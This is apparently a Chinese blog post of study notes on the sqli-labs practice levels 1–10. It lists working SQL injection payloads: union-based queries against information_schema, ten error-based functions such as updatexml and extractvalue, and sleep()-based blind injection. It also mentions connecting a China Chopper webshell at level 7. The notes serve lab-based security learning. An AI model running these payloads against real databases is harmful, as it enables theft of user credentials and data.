SQL注入练习
1.确定功能点是否与数据库存在交互可能,参数是否可控
2.确定功能点是否注入点
id=1 and 1=2 后面用hackbar64编码
3.确定功能点对应的注入语句原型与注入参数类型
判断是数字型还是字符型 字符型需要闭合单双引号 
4.确定数据库类型
5.确定注入证明类型
判断字段长度 order by 
确定联合查询注入可以正常使用
6.获取数据库名,表名,列名,关键字段具体内容
输出位一般只能输出一条数据
id取负数——为了联合查询时候只显示联合查询后想查询的值
#号为了注释掉数据,防止出现空
双引号:表示其内部字符串严格区别大小写,用于特殊字符或关键字,一般用在表名和列名
单引号:表示字符串常量,仅仅当做普通字符串处理

判断是数字型还是字符型

所以需要带引号闭合参数

二分法查找字段,依次排查结果是3

 确定后开始查数据库名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'--+
查询列名

知道了数据库表名以及列名,查询用户名以及密码即可通关

 
如图所示为数字型,逻辑判断错误,所以不需要闭合引号
第三关单引号无法闭合,尝试)失败,尝试‘)成功,后续步骤如第一关
第四关无法闭合,尝试“)成功,后续步骤如第一关
第五关正常闭合,无明显回显,判断需要用盲注


存在盲注,判断数据库长度(然后建议用工具,手工的话一个一个判断过去),看题目名是双注入,所以想到另一个思路 爆破查询
?id=1%27%20and%20(updatexml(1,concat(0x7e,(database()),0x7e),1))%23 最后需要#注释掉
报错注入
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

后续同上,查表名,列名 爆破数据
 
 
因为数据太多 所以需要用limit0,1依次查询
第六关双引号闭合,其余一致
第七关用菜刀可以连接
第八关 '正常闭合,and if substr(database(),1,1)='q',sleep(5),sleep(1)) --+
第九,十关同上,闭合条件不一样 *
 
                    
                     
                    
                 
                    
                
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号